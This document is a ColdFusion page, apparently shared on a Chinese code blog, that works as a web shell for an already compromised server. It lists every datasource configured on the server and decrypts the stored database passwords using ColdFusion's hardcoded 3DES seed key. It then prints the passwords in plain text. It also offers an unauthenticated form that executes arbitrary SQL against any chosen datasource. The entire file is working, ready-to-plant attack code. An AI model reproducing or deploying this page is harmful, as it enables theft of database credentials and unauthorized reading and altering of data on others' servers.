coldfusion数据库操作页面

<html>
<body>
<p><b>Notes:</b></p>
<hr>
<ul>
<li>Select the database you want to use</li>
<li>Write SQL statements in the text box</li>
</ul>
<p><b>Decrypt all datasource:</b></p>
<cfoutput>
<div align="left">

<cfset dsService = CreateObject("java", "coldfusion.server.ServiceFactory").DataSourceService />
<cfset o = dsService.getDataSources() />
<cfloop list="#structKeyList(o)#" index="i">
<cfset datasource = o[i] />
<cfoutput>
|~|#datasource.name#|#datasource.driver#|#datasource.url#|#datasource.username#|#datasource.password#|
<cfscript>
if(len(o[i]["password"])){
dp=Decrypt(o[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64") ;
writeoutput( ""& dp&"");
}
</cfscript>
</br>
</cfoutput>
</cfloop> 
</div>
</cfoutput>
<hr>
<form method="POST" action="">
<p><b>SQL Interface:</b></p>
Datasource<br>
<select name="datasource">
<cfscript>
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
        getDatasourceService().getDatasources();
        for(i in dataSourceObb) {
        writeoutput('<option value="' & i & '">' & i & '</option>');
        }
</cfscript>
</select>

<br>
SQL<br>
<textarea name="sql" rows="5" cols="100"></textarea>
<br>
<input type=submit value="Exec">
</form>

<cfif isdefined("form.sql")>
<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
        #Form.sql#
</cfquery>
</cfif>

<table border=1>
    <cfif isdefined("form.sql")>
    <cfloop from="0" to="#runsql.RecordCount#" index="row">
        <cfif row eq 0>
                <tr>
                        <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
                                <th><cfoutput>#column#</cfoutput></th>  
                        </cfloop>
                </tr>
        <cfelse>
                <tr>
                        <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
                                <td><cfoutput>#runsql[column][row]#</cfoutput></td>
                        </cfloop>
                </tr>
        </cfif>
    </cfloop>
    </cfif>
</table>



</body>
</html>


你可能感兴趣的:(database,数据库操作,Statements)